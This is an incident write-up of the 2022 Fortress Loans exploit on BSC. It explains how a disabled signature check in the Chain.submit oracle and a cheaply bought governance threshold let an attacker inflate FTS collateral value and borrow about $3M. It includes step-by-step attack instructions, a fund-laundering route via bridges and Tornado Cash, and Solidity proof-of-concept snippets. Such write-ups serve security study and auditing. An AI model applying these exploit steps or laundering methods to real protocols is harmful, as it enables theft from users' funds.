# Fortress Loans: unverified Chain.submit oracle manipulation drains $3M

Fortress Loans' Chain.submit() lacked signature verification, letting an attacker set FTS price to 4e34, then pass a malicious governance proposal and borrow against inflated collateral.

- Payout: Real-world hack
- Severity: critical
- Program: Fortress Loans
- Analysis by: DeFiHackLabs
- Disclosed: 2022-05-08
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-05/FortressLoans_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20220508-fortressloans
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained technique:source-review vuln:access-control vuln:governance vuln:oracle-manipulation

**Target:** BSC lending protocol: Governor Alpha, Chain price oracle, Unitroller markets
**Root cause:** Chain.submit() had its requiredSignatures check commented out, so anyone could push arbitrary price keys/values; separately, the 400k FTS proposal threshold was cheap to buy, letting the attacker pass a proposal raising FTS collateral factor.
**Steps:**
1. Buy ~400k FTS (~11 ETH) to exceed proposalThreshold and delegate votes to self.
2. Submit malicious proposal 11 via `IGovernorAlpha(GovernorAlpha).propose(...)` adding FTS collateral at 700000000000000000, then `castVote(11, true)`, `queue(11)`, `execute(11)`.
3. Call `IChain(ChainContract).submit(uint32(block.timestamp), _root, _keys, _values, _v, _r, _s)` with keys `FTS-USD` and `MAHA-USD` set to `4e34`, bypassing the disabled signature check.
4. Verify `FortressPriceOracle.getUnderlyingPrice(FToken(fFTS)) == 4e34` and `IPriceFeed(PriceFeed).fetchPrice() == 2e34`.
5. `Unitroller.enterMarkets([fFTS])`, approve FTS, `fFTS.mint(_FTS_balance)` to post 100 FTS as collateral.
6. Borrow across all markets (fBNB, fUSDC, fUSDT, fBUSD, fBTC, fETH, ...) against inflated collateral.
7. Swap borrowed tokens to ETH/DAI, bridge via cBridge/Multichain to Ethereum, deposit to Tornado Cash; self-destruct attacker contract.
**How found:** CertiK notes the missing verification in Chain.submit() (commented-out requiredSignatures) is spot-table in audit; the governance threshold weakness required reasoning about token price vs. vote cost. Attacker appears to have cased the protocol for weeks with test transactions before the exploit.
**Exploitation:** Attacker funded an EOA, bought 400k FTS for ~11 ETH to meet the 400k vote threshold, proposed and self-voted proposal 11 raising FTS collateral factor, then called Chain.submit() with forged price data (signature check disabled) to set FTS-USD to 4e34. With FTS priced absurdly high, 100 FTS collateral let them borrow all markets' tokens, swapped to ETH/DAI, bridged to Ethereum and laundered via Tornado Cash (~$3M).
**Escalation:** Chained governance takeover (cheap vote threshold) with oracle manipulation (disabled signature check) to inflate collateral, then borrowed every market and bridged funds cross-chain.
**Insight:** On forked Compound/GovernorAlpha deployments, check whether proposalThreshold is denominated in a cheap, low-liquidity token — buying votes can be cheaper than the borrow it unlocks; and grep oracle/chain submit functions for commented-out signature or power checks, which turn price feeds into attacker-writable state.

## Proof of concept (copied exactly from the original report)

**Chain.submit call forging oracle price keys**

```
bytes32 _root = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d886;
        bytes32[] memory _keys = new bytes32[](2);
        _keys[0] = 0x000000000000000000000000000000000000000000000000004654532d555344;
        _keys[1] = 0x0000000000000000000000000000000000000000000000004d4148412d555344;
        uint256[] memory _values = new uint256[](2);
        _values[0] = 4e34;
        _values[1] = 4e34;
        uint8[] memory _v = new uint8[](4);
        _v[0] = 28;
        _v[1] = 28;
        _v[2] = 28;
        _v[3] = 28;
        bytes32[] memory _r = new bytes32[](4);
        _r[0] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d885;
        _r[1] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d882;
        _r[2] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d877;
        _r[3] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d881;
        bytes32[] memory _s = new bytes32[](4);
        _s[0] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d825;
        _s[1] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d832;
        _s[2] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d110;
        _s[3] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d841;
        IChain(ChainContract).submit(uint32(block.timestamp), _root, _keys, _values, _v, _r, _s);
```

**Execute malicious Proposal 11**

```
function exploit() public {
        // Excute Proposal 11
        IGovernorAlpha(GovernorAlpha).execute(11);
        emit log_string("\t[info] Executed Proposal Id 11");
```

**Mint fFTS collateral and borrow**

```
IFTS(FTS).approve(fFTS, type(uint256).max);
        uint256 _FTS_balance = IFTS(FTS).balanceOf(address(this));
        IfFTS(fFTS).mint(_FTS_balance);
        assert(IfFTS(fFTS).balanceOf(address(this)) == 499_999_999_999);
        emit log_string("\t[info] fFTS.mint(FTS) Success");
```

